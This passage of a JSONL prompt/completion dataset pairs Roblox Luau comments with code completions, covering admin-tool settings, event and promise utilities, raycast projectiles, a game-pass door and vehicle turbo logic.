nil\n\t\tend\n\tend\n\n\tfunction this:wait()\n\t\tif self ~= this then error(\"wait must be called with `:`, not `.`\", 2) end\n\t\treturn mBindableEvent.Event:Wait()\n\tend\n\n\tfunction this:fire(...)\n\t\tif self ~= this then error(\"fire must be called with `:`, not `.`\", 2) end\n\t\tmBindableEvent:Fire(...)\n\tend\n\n\tthis.Connect = this.connect\n\tthis.Disconnect = this.disconnect\n\tthis.Wait = this.wait\n\tthis.Fire = this.fire\n\n\treturn this\nend\n"} +{"prompt": "--[[\n\tReturns a list of CoreGuiTypes shown\n\n\tReturns:\n\tAn array of Enum.CoreGuiType that are Enabled\n]]", "completion": "\nfunction GuiController:_getShownCoreGuis(): { Enum.CoreGuiType }\n\tlocal shownCoreGuis = Cryo.List.filter(Enum.CoreGuiType:GetEnumItems(), function(coreGuiType)\n\t\t-- These two CoreGui were causing the entire screen to flash after enabling/disabling them. Not sure\n\t\t-- what's the underlying reason, but filtering them until we can figure it out.\n\t\tif Enum.CoreGuiType.PlayerList == coreGuiType or Enum.CoreGuiType.All == coreGuiType then\n\t\t\treturn false\n\t\tend\n\t\treturn self.StarterGui:GetCoreGuiEnabled(coreGuiType)\n\tend)\n\n\treturn shownCoreGuis\nend\n\nreturn GuiController\n"} +{"prompt": "--[[\n\tCredit to einsteinK.\n\tCredit to Stravant for LBI.\n\t\n\tCredit to the creators of all the other modules used in this.\n\t\n\tSceleratis was here and decided modify some things.\n\t\n\teinsteinK was here again to fix a bug in LBI for if-statements\n--]]", "completion": "\n\nlocal waitDeps = {\n\t'FiOne';\n\t'LuaK';\n\t'LuaP';\n\t'LuaU';\n\t'LuaX';\n\t'LuaY';\n\t'LuaZ';\n}\n\nfor _, v in ipairs(waitDeps) do \n\tscript:WaitForChild(v)\nend\n\nlocal luaX = require(script.LuaX)\nlocal luaY = require(script.LuaY)\nlocal luaZ = require(script.LuaZ)\nlocal luaU = require(script.LuaU)\nlocal fiOne = require(script.FiOne)\n\nluaX:init()\nlocal LuaState = {}\n\ngetfenv().script = nil\n\nreturn function(str,env)\n\tlocal f, writer, buff\n\tenv = env or getfenv(2)\n\tlocal name = (env.script and env.script:GetFullName())\n\tlocal ran, error = pcall(function()\n\t\tlocal zio = luaZ:init(luaZ:make_getS(str), nil)\n\t\tif not zio then return error() end\n\t\tlocal func = luaY:parser(LuaState, zio, nil, name or \"::Adonis::Loadstring::\")\n\t\twriter, buff = luaU:make_setS()\n\t\tluaU:dump(LuaState, func, writer, buff)\n\t\tf = fiOne(buff.data, env)\n\tend)\n\t\n\tif ran then\n\t\treturn f, buff.data\n\telse\n\t\treturn nil, error\n\tend\nend\n"} +{"prompt": "--// Use the below table to define \"pre-set\" command aliases\n--// Command aliases; Format: {[\":alias ...\"] = \":command ...\"}", "completion": "\nsettings.Aliases = {\n\t[\":examplealias \"] = \":ff | :fling | :fire \" --// Order arguments appear in alias string determines their required order in the command message when ran later\n};\n\nsettings.Banned = {}\t\t-- List of people banned from the game \t\t Format: {\"Username\"; \"Username:UserId\"; UserId; \"Group:GroupId:GroupRank\"; \"Group:GroupId\"; \"Item:ItemID\"; \"GamePass:GamePassID\";}\nsettings.Muted = {}\t\t\t-- List of people muted (cannot send chat messages)\t\t\t\t \t\t Format: {\"Username\"; \"Username:UserId\"; UserId; \"Group:GroupId:GroupRank\"; \"Group:GroupId\"; \"Item:ItemID\"; \"GamePass:GamePassID\";}\nsettings.Blacklist = {}\t\t-- List of people banned from running commands \t Format: {\"Username\"; \"Username:UserId\"; UserId; \"Group:GroupId:GroupRank\"; \"Group:GroupId\"; \"Item:ItemID\"; \"GamePass:GamePassID\";}\nsettings.Whitelist = {}\t\t-- People who can join if whitelist enabled\t Format: {\"Username\"; \"Username:UserId\"; UserId; \"Group:GroupId:GroupRank\"; \"Group:GroupId\"; \"Item:ItemID\"; \"GamePass:GamePassID\";}\n\nsettings.MusicList = {} \t-- List of songs to appear in the :musiclist\t Format: {{Name = \"somesong\", ID = 1234567}, {Name = \"anotherone\", ID = 1243562}}\nsettings.CapeList = {}\t\t-- List of capes\t\t\t\t\t\t\t Format: {{Name = \"somecape\", Material = \"Fabric\", Color = \"Bright yellow\", ID = 12345567, Reflectance = 1}; {etc more stuff here}}\nsettings.InsertList = {} \t-- List of models to appear in the :insertlist and can be inserted using ':insert '\t Format: {{Name = \"somemodel\", ID = 1234567}; {Name = \"anotherone\", ID = 1243562}}\n\nsettings.OnStartup = {}\t\t-- List of commands ran at server start\t\t\t\t\t\t\t\tFormat: {\":notif TestNotif\"}\nsettings.OnJoin = {}\t\t-- List of commands ran as player on join (ignores adminlevel)\t\tFormat: {\":cmds\"}\nsettings.OnSpawn = {}\t\t-- List off commands ran as player on spawn (ignores adminlevel)\tFormat: {\"!fire Really red\",\":ff me\"}\n\nsettings.SaveAdmins = true\t\t -- If true anyone you :admin or :headadmin in-game will save\nsettings.LoadAdminsFromDS = true -- If false, any admins saved in your DataStores will not load\nsettings.WhitelistEnabled = false -- If true enables the whitelist/server lock; Only lets admins & whitelisted users join\n\nsettings.Prefix = \":\"\t\t\t\t-- The : in :kill me\nsettings.PlayerPrefix = \"!\"\t\t\t-- The ! in !donate; Mainly used for commands that any player can run; Do not make it the same as settings.Prefix\nsettings.SpecialPrefix = \"\"\t\t\t-- Used for things like \"all\", \"me\" and \"others\" (If changed to ! you would do :kill !me)\nsettings.SplitKey = \" \"\t\t\t\t-- The space in :kill me (eg if you change it to / :kill me would be :kill/me)\nsettings.BatchKey = \"|\"\t\t\t\t-- :kill me | :ff bob | :explode scel\nsettings.ConsoleKeyCode = \"Quote\"\t-- Keybind to open the console; Rebindable per player in userpanel; KeyCodes: https://developer.roblox.com/en-us/api-reference/enum/KeyCode\n"} +{"prompt": "--[[\n\tConverts an event into a Promise with an optional predicate\n]]", "completion": "\nfunction Promise.fromEvent(event, predicate)\n\tpredicate = predicate or function()\n\t\treturn true\n\tend\n\n\treturn Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)\n\t\tlocal connection\n\t\tlocal shouldDisconnect = false\n\n\t\tlocal function disconnect()\n\t\t\tconnection:Disconnect()\n\t\t\tconnection = nil\n\t\tend\n\n\t\t-- We use shouldDisconnect because if the callback given to Connect is called before\n\t\t-- Connect returns, connection will still be nil. This happens with events that queue up\n\t\t-- events when there's nothing connected, such as RemoteEvents\n\n\t\tconnection = event:Connect(function(...)\n\t\t\tlocal callbackValue = predicate(...)\n\n\t\t\tif callbackValue == true then\n\t\t\t\tresolve(...)\n\n\t\t\t\tif connection then\n\t\t\t\t\tdisconnect()\n\t\t\t\telse\n\t\t\t\t\tshouldDisconnect = true\n\t\t\t\tend\n\t\t\telseif type(callbackValue) ~= \"boolean\" then\n\t\t\t\terror(\"Promise.fromEvent predicate should always return a boolean\")\n\t\t\tend\n\t\tend)\n\n\t\tif shouldDisconnect and connection then\n\t\t\treturn disconnect()\n\t\tend\n\n\t\tonCancel(function()\n\t\t\tdisconnect()\n\t\tend)\n\tend)\nend\n\nreturn Promise\n"} +{"prompt": "-- Create the spark effect for the bullet impact", "completion": "\nfunction MakeParticleFX(position, normal)\n\t-- This is a trick I do with attachments all the time.\n\t-- Parent attachments to the Terrain - It counts as a part, and setting position/rotation/etc. of it will be in world space.\n\t-- UPD 11 JUNE 2019 - Attachments now have a \"WorldPosition\" value, but despite this, I still see it fit to parent attachments to terrain since its position never changes.\n\tlocal attachment = Instance.new(\"Attachment\")\n\tattachment.CFrame = CFrame.new(position, position + normal)\n\tattachment.Parent = workspace.Terrain\n\tlocal particle = ImpactParticle:Clone()\n\tparticle.Parent = attachment\n\tDebris:AddItem(attachment, particle.Lifetime.Max) -- Automatically delete the particle effect after its maximum lifetime.\n\n\t-- A potentially better option in favor of this would be to use the Emit method (Particle:Emit(numParticles)) though I prefer this since it adds some natural spacing between the particles.\n\tparticle.Enabled = true\n\twait(0.1)\n\tparticle.Enabled = false\nend\n"} +{"prompt": "-- Returns whether or not message contains triggerWord", "completion": "\nfunction ChatEmotes.messageMatchesTriggerWord(message: string, triggerWord: string): boolean\n\tmessage = \" \" .. string.lower(message) .. \" \" -- extra spaces are to help the below pattern detect word boundaries\n\tlocal pattern = \"[%p%s]\" .. string.lower(triggerWord) .. \"[%p%s]\" -- %p matches punctuation, %s matches whitespaces\n\treturn string.find(message, pattern) ~= nil\nend\n"} +{"prompt": "--[[\n-- {PoisonApple, PoisonCake, PoisonPorkChop}\nlocal BaseIdUrl = 'http://www.roblox.com/asset/?id='\nlocal IconIds = {'87862872', '87863072', '87871704'}\nlocal MeshIds = {'87862943', '87863104', '87863169'}\nlocal TextureIds = {'87862921', '87863090', '87863148'}\nlocal HandleSizes = {Vector3.new(1.2, 1.2, 1.2), Vector3.new(1.08, 1.11, 1.14), Vector3.new(0.45, 1.82, 1.33)}\n--]]", "completion": "\n\nlocal MyModel = nil\nlocal MyPlayer = nil\n\nlocal function OnEquipped()\n\tMyModel = Tool.Parent\n\tMyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)\nend\n\nlocal function OnActivated()\n\tif not MyModel or not MyModel:FindFirstChild('Humanoid') or not Tool.Enabled then return end\n\tTool.Enabled = false\n\tToolHandle.Transparency = 1\n\n\tThrowSound:Play()\n\n\tlocal handleClone = ToolHandle:Clone()\n\tDebrisService:AddItem(handleClone, 30)\n\thandleClone.Velocity = (MyModel.Humanoid.TargetPoint - ToolHandle.CFrame.p).unit * THROW_SPEED\n\thandleClone.Name = 'Food'\n\thandleClone.Parent = Workspace\n\thandleClone.Transparency = 0\n\thandleClone.CanCollide = true\n\tInstance.new('BodyGyro', handleClone) -- Keeps it upright\n\tlocal selfDestructScript = handleClone:FindFirstChild('SelfDestruct')\n\tif selfDestructScript and selfDestructScript:FindFirstChild('TimeToLive') then\n\t\tselfDestructScript.TimeToLive.Value = TIME_TO_LIVE\n\t\tselfDestructScript.Disabled = false\n\tend\n\tlocal foodScript = handleClone:FindFirstChild('PoisonedFood')\n\tif foodScript then\n\t\tlocal creator = Instance.new('ObjectValue', foodScript)\n\t\tcreator.Name = 'Creator'\n\t\tcreator.Value = MyPlayer\n\t\tfoodScript.Disabled = false\n\tend\n\n\t--[[ Load new item (while we wait)\n\tlocal index = math.random(3)\n\tToolHandle.Mesh.MeshId = BaseIdUrl .. MeshIds[index]\n\tToolHandle.Mesh.TextureId = BaseIdUrl .. TextureIds[index]\n\tToolHandle.Size = HandleSizes[index] -- This breaks the weld\n\tMyWeld.Parent = Game.JointsService -- Fix the weld\n\tTool.TextureId = BaseIdUrl .. IconIds[index] -- Change the tool icon\n\t--]]\n\n\twait(COOLDOWN)\n\n\tToolHandle.Transparency = 0\n\tTool.Enabled = true\nend\n\nlocal function OnUnequipped()\n\tToolHandle.Transparency = 0\nend\n\nTool.Equipped:connect(OnEquipped)\nTool.Activated:connect(OnActivated)\nTool.Unequipped:connect(OnUnequipped)\n"} +{"prompt": "--[[\n\tdeviation: printable function not present in upstream\n\tFunction that determines if an object is printable i.e. if the object\n\tdoesn't have tostring output that is its memory address\n]]", "completion": "\nlocal function printable(obj)\n\tif typeof(obj) == \"table\" then\n\t\treturn tostring(obj):find(\"table: 0x\") == nil\n\telseif typeof(obj) == \"function\" then\n\t\treturn tostring(obj):find(\"function: 0x\") == nil\n\telseif typeof(obj) == \"userdata\" then\n\t\treturn tostring(obj):find(\"userdata: 0x\") == nil\n\telseif typeof(obj) == \"thread\" then\n\t\treturn tostring(obj):find(\"thread: 0x\") == nil\n\tend\n\n\treturn true\nend\n"} +{"prompt": "--!strict\n-- upstream: https://github.com/facebook/react/blob/56e9feead0f91075ba0a4f725c9e4e343bca1c67/packages/shared/ReactComponentStackFrame.js\n--[[*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n]]", "completion": "\n\ntype Object = { [string]: any }\ntype Function = (...any) -> ...any\n\nlocal ReactElementType = require(script.Parent.ReactElementType)\ntype Source = ReactElementType.Source\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Roact = require(Vendor:WaitForChild 'Roact')\nlocal new = Roact.createElement\n"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:Connect(onDied)\nHumanoid.Running:Connect(onRunning)\nHumanoid.Jumping:Connect(onJumping)\nHumanoid.Climbing:Connect(onClimbing)\nHumanoid.GettingUp:Connect(onGettingUp)\nHumanoid.FreeFalling:Connect(onFreeFall)\nHumanoid.FallingDown:Connect(onFallingDown)\nHumanoid.Seated:Connect(onSeated)\nHumanoid.PlatformStanding:Connect(onPlatformStanding)\nHumanoid.Swimming:Connect(onSwimming)\n"} +{"prompt": "-- local NULL = require(srcWorkspace.luaUtils.null)", "completion": "\n"} +{"prompt": "-- Populate library list with cached libraries", "completion": "\nfor _, Library in pairs(script:GetChildren()) do\n\tpcall(function () RegisterLibrary(require(Library.Metadata), require(Library)) end);\nend;\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nDoor = script.Parent\nServ = game:GetService(\"BadgeService\")\nMServ = game:GetService(\"MarketplaceService\")\nif not _G.Players then\n\t_G.Players = {[ItemID] = {}}\nelseif not _G.Players[ItemID] then\n\t_G.Players[ItemID] = {}\nend\n\nTable = _G.Players[ItemID]\n\nfunction CheckPlayer(player2)\n\tfor i = 1,#Table do\n\t\tif Table[i] == player2 then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nDoor.Touched:connect(function(hit)\n if game.Players:GetPlayerFromCharacter(hit.Parent) then\n player = game.Players:GetPlayerFromCharacter(hit.Parent)\n if Serv:UserHasBadge(player.userId,ItemID) or CheckPlayer(player) then\n -- Door.CanCollide = false-- Door.Transparency = OpenTrans\n wait(OpenTime)\n -- Door.CanCollide = true --Door.Transparency = CloseTrans\n else\n -- Door.CanCollide = true-- Door.Transparency = CloseTrans\n if BuyGUI == true then\n MServ:PromptGamePassPurchase(player,ItemID)\n h = player.Character:FindFirstChild(\"Humanoid\")\n if h then\n h.WalkSpeed = 16 end\n local con\n con = MServ.PromptGamePassPurchaseFinished:connect(function(ply,asset,purch)\n if ply == player and asset == ItemID then\n con:disconnect()\n if purch then\n if h then\n h.WalkSpeed = 16 end\n table.insert(Table,player)\n elseif KillOnTouch == true then\n player.Character:BreakJoints()\n end\n end\n end)\n elseif KillOnTouch == true then\n -- Door.CanCollide = true --Door.Transparency = CloseTrans\n player.Character:BreakJoints()\n end\n end\n end\nend)\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\tlocal v1 = os.date(\"!%X\", tonumber(p1));\n\tif p1 <= 3600 then\n\t\tv1 = v1:sub(4);\n\tend;\n\treturn v1;\nend;\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"ReactIs\"][\"ReactIs\"])\n\nreturn Package\n"} +{"prompt": "--(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to \"math.pi/number.\" Make sure the number ISN'T 0!", "completion": "\nend --Ends the \"while true do\"\n"} +{"prompt": "--------------------", "completion": "\n\nequiped=false\nsp=script.Parent\nRayLength=1000\nSpread=.2\nenabled=true\nreloading=false\ndown=false\nr=game:service(\"RunService\")\nlast=0\nlast2=0\nlast3=0\nlast4=0\nlast5=0\nlast6=0\n\nBullet=Instance.new(\"Part\")\nBullet.Name=\"Bullet\"\nBullet.BrickColor=BrickColor.new(\"New Yeller\")\nBullet.Anchored=true\nBullet.CanCollide=false\nBullet.Locked=true\nBullet.Size=Vector3.new(1,1,1)"} +{"prompt": "-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing", "completion": "\nlocal DefaultReporter = setmetatable({}, { __index = BaseReporter }) :: any\nDefaultReporter.__index = DefaultReporter"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop PositionInfluence Vector3\n\tThis is similar to `Amplitude` but multiplies against each axis\n\tof the resultant shake vector, and only affects the position vector.\n\n\tDefaults to `Vector3.one`.\n]=]", "completion": "\n"} +{"prompt": "-- Ctor", "completion": "\nfunction ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast\n\tif typeof(velocity) == \"number\" then\n\t\tvelocity = direction.Unit * velocity\n\tend\t\n\t\n\tif (castDataPacket.HighFidelitySegmentSize <= 0) then\n\t\terror(\"Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!\", 0)\n\tend\n\t\n\t-- Basic setup\n\tlocal cast = {\n\t\tCaster = caster,\n\t\t\n\t\t-- Data that keeps track of what's going on as well as edits we might make during runtime.\n\t\tStateInfo = {\n\t\t\tUpdateConnection = nil,\n\t\t\tPaused = false,\n\t\t\tTotalRuntime = 0,\n\t\t\tDistanceCovered = 0,\n\t\t\tHighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,\n\t\t\tHighFidelityBehavior = castDataPacket.HighFidelityBehavior,\n\t\t\tIsActivelySimulatingPierce = false,\n\t\t\tIsActivelyResimulating = false,\n\t\t\tCancelHighResCast = false,\n\t\t\tTrajectories = {\n\t\t\t\t{\n\t\t\t\t\tStartTime = 0,\n\t\t\t\t\tEndTime = -1,\n\t\t\t\t\tOrigin = origin,\n\t\t\t\t\tInitialVelocity = velocity,\n\t\t\t\t\tAcceleration = castDataPacket.Acceleration\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\n\t\t-- Information pertaining to actual raycasting.\n\t\tRayInfo = {\n\t\t\tParameters = castDataPacket.RaycastParams,\n\t\t\tWorldRoot = workspace,\n\t\t\tMaxDistance = castDataPacket.MaxDistance or 1000,\n\t\t\tCosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.\n\t\t\tCanPierceCallback = castDataPacket.CanPierceFunction\n\t\t},\n\t\t\n\t\tUserData = {}\n\t}\n\t\n\tif cast.StateInfo.HighFidelityBehavior == 2 then\n\t\tcast.StateInfo.HighFidelityBehavior = 3\n\tend\n\t\n\t\n\tif cast.RayInfo.Parameters ~= nil then\n\t\tcast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)\n\telse\n\t\tcast.RayInfo.Parameters = RaycastParams.new()\n\tend\n\n\tlocal usingProvider = false\n\tif castDataPacket.CosmeticBulletProvider == nil then\n\t\t-- The provider is nil. Use a cosmetic object clone.\n\t\tif cast.RayInfo.CosmeticBulletObject ~= nil then\n\t\t\tcast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()\n\t\t\tcast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)\n\t\t\tcast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer\n\t\tend\n\telse\n\t\t-- The provider is not nil.\n\t\t-- Is it what we want?\n\t\tif typeof(castDataPacket.CosmeticBulletProvider) == \"PartCache\" then\n\t\t\t-- this modded version of typeof is implemented up top.\n\t\t\t-- Aside from that, yes, it's a part cache. Good to go!\n\t\t\t\n\t\t\tif cast.RayInfo.CosmeticBulletObject ~= nil then\n\t\t\t\t-- They also set the template. Not good. Warn + clear this up.\n\t\t\t\twarn(\"Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.\")\n\t\t\t\tcast.RayInfo.CosmeticBulletObject = nil\n\t\t\t\tcastDataPacket.CosmeticBulletTemplate = nil\n\t\t\tend\n\n\t\t\tcast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()\n\t\t\tcast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)\n\t\t\tusingProvider = true\n\t\telse\n\t\t\twarn(\"FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.\")\n\t\t\tcastDataPacket.CosmeticBulletProvider = nil\n\t\tend\n\tend\n\n\tlocal targetContainer: Instance;\n\tif usingProvider then\n\t\ttargetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent\n\telse\n\t\ttargetContainer = castDataPacket.CosmeticBulletContainer\n\tend\n\t\n\tif castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then\n\t\tlocal ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances\n\t\tif table.find(ignoreList, targetContainer) == nil then\n\t\t\ttable.insert(ignoreList, targetContainer)\n\t\t\tcast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList\n\t\tend\n\tend\n\t\n\tlocal event\n\tif RunService:IsClient() then\n\t\tevent = RunService.RenderStepped\n\telse\n\t\tevent = RunService.Heartbeat\n\tend\n\t\n\tsetmetatable(cast, ActiveCastStatic)\n\t\n\tcast.StateInfo.UpdateConnection = event:Connect(function (delta)\n\t\tif cast.StateInfo.Paused then return end\n\t\t\n\t\tPrintDebug(\"Casting for frame.\")\n\t\tlocal latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]\n\t\tif (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then\n\t\t\t\n\t\t\tlocal timeAtStart = tick()\n\t\t\t\n\t\t\tif cast.StateInfo.IsActivelyResimulating then\n\t\t\t\tcast:Terminate()\n\t\t\t\terror(\"Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.\")\n\t\t\tend\n\t\t\t\n\t\t\tcast.StateInfo.IsActivelyResimulating = true\n\t\t\t\n\t\t\t-- Actually want to calculate this early to find displacement\n\t\t\tlocal origin = latestTrajectory.Origin\n\t\t\tlocal totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\t\tlocal initialVelocity = latestTrajectory.InitialVelocity\n\t\t\tlocal acceleration = latestTrajectory.Acceleration\n\t\t\t\n\t\t\tlocal lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\t\t\tlocal lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)\n\t\t\tlocal lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\t\t\n\t\t\tcast.StateInfo.TotalRuntime += delta\n\t\t\t\n\t\t\t-- Recalculate this.\n\t\t\ttotalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime\n\t\t\t\n\t\t\tlocal currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)\n\t\t\tlocal currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) \n\t\t\tlocal totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.\n\t\t\t\n\t\t\tlocal rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta\n\t\t\tlocal targetWorldRoot = cast.RayInfo.WorldRoot\n\t\t\tlocal resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)\n\t\t\t\n\t\t\tlocal point = currentPoint\n\t\t\t\n\t\t\tif (resultOfCast ~= nil) then\n\t\t\t\tpoint = resultOfCast.Position\n\t\t\tend\n\t\t\t\n\t\t\tlocal rayDisplacement = (point - lastPoint).Magnitude\n\t\t\t\n\t\t\t-- Now undo this. The line below in the for loop will add this time back gradually.\n\t\t\tcast.StateInfo.TotalRuntime -= delta\n\t\t\t\n\t\t\t-- And now that we have displacement, we can calculate segment size.\n\t\t\tlocal numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments\n\t\t\tlocal numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments\n\t\t\tif (numSegmentsReal == 0) then\n\t\t\t\tnumSegmentsReal = 1\n\t\t\tend\n\t\t\t\n\t\t\tlocal timeIncrement = delta / numSegmentsReal\n\t\t\t\n\t\t\tfor segmentIndex = 1, numSegmentsReal do\n\t\t\t\tif getmetatable(cast) == nil then return end -- Could have been disposed.\n\t\t\t\tif cast.StateInfo.CancelHighResCast then\n\t\t\t\t\tcast.StateInfo.CancelHighResCast = false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tPrintDebug(\"[\" .. segmentIndex .. \"] Subcast of time increment \" .. timeIncrement)\n\t\t\t\tSimulateCast(cast, timeIncrement, true)\n\t\t\tend\n\t\t\t\n\t\t\tif getmetatable(cast) == nil then return end -- Could have been disposed.\n\t\t\tcast.StateInfo.IsActivelyResimulating = false\n\t\t\t\n\t\t\tif (tick() - timeAtStart) > 0.016 * 5 then\n\t\t\t\twarn(\"Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.\")\n\t\t\tend\n\t\t\t\n\t\telse\n\t\t\tSimulateCast(cast, delta, false)\n\t\tend\n\tend)\n\t\n\treturn cast\nend\n\nfunction ActiveCastStatic.SetStaticFastCastReference(ref)\n\tFastCast = ref\nend\n"} +{"prompt": "--/ Initialization /--\n-- DO NOT TOUCH --", "completion": "\nrequire(3472854229).start(script,config)\n"} +{"prompt": "--[=[\n\tFires a ScriptSignal object with the arguments passed.\n\n\t```lua\n\tScriptSignal:Connect(function(text)\n\t\tprint(text)\n\tend)\n\n\tScriptSignal:Fire(\"Some Text...\")\n\n\t-- \"Some Text...\" is printed twice\n\t```\n\n\t@param ... any\n\t@ignore\n]=]", "completion": "\nfunction ScriptSignal:Fire(...: any)\n local node: ScriptConnectionNode? = self._head\n while node ~= nil do\n if node._connection ~= nil then\n if FreeThread == nil then\n task.spawn(CreateFreeThread)\n end\n\n task.spawn(FreeThread :: thread, node._handler, ...)\n end\n\n node = node._next\n end\nend\n"} +{"prompt": "--notes\n--rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04", "completion": "\nValues.Values.RPM.Changed:connect(function()\n\tThrottle = Values.Values.Throttle.Value\n\tCurrentGear = Values.Values.Gear.Value\n\tCurrentRPM = Values.Values.RPM.Value\n\tif Throttle == 1 then\n\t\tactive = true\n\t\tif CPSI < PSI then \n\t\t\tif Turbos == \"Single\" then\n\t\t\t\tif TurboSize == \"Small\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 75000) * 4\n\t\t\t\t\twait(0.1)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 8\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\n\t\t\t\tif TurboSize == \"Medium\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 100000) * 4\n\t\t\t\t\twait(0.1)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 10\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\n\t\t\t\tif TurboSize == \"Large\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 125000) * 4\n\t\t\t\t\twait(0.1)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 12\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\n\t\t\telseif Turbos == \"Twin\" then\n\t\t\t\tif TurboSize == \"Small\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 75000) * 4\n\t\t\t\t\twait(0.05)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 8\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\n\t\t\t\tif TurboSize == \"Medium\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 100000) * 4\n\t\t\t\t\twait(0.05)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 10\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\n\t\t\t\tif TurboSize == \"Large\" then\n\t\t\t\t\tCPSI = CPSI + (CurrentRPM / 125000) * 4\n\t\t\t\t\twait(0.05)\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 12\n\t\t\t\t\tValues.Values.APSI.Value = CPSI\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\tif CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then\n\t\t\tboom = false\n\t\t\t\tif car.Body.Exhaust.E1.S.IsPlaying then\n\t\t\t\telse\n\t\t\t\tlocal i = math.random(1,4)\n\t\t\t\ti = math.ceil(i)\n\t\t\t\twhile i >= 1 do\n\t\t\t\tcar.Body.Exhaust.E2.S:Play()\n\t\t\t\tcar.Body.Exhaust.E1.Afterburn.Enabled = true\n\t\t\t\tcar.Body.Exhaust.E2.Afterburn.Enabled = true\n\t\t\t\twait(math.random(0.2,.3))\n\t\t\t\tcar.Body.Exhaust.E1.Afterburn.Enabled = false\n\t\t\t\tcar.Body.Exhaust.E2.Afterburn.Enabled = false\n\t\t\t\ti= i - 1\n\t\t\t\tend\n\t\t\t\twait(0.5)\n\t\t\t\tboom = true\n\t\t\t\tend\n\t\t\t\tend\n\tend\n\t\t\tif Throttle <= 0.01 and active == true and Valve == \"BOV\" then\n\t\t\t\tactive = false\n\t\t\t\tCPSI = 0\n\t\t\t\tif TurboSize == \"Large\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI * 12\n\t\t\t\telseif TurboSize == \"Medium\" then\n\t\t\t\t\tValues.Values.PSI.Value = CPSI 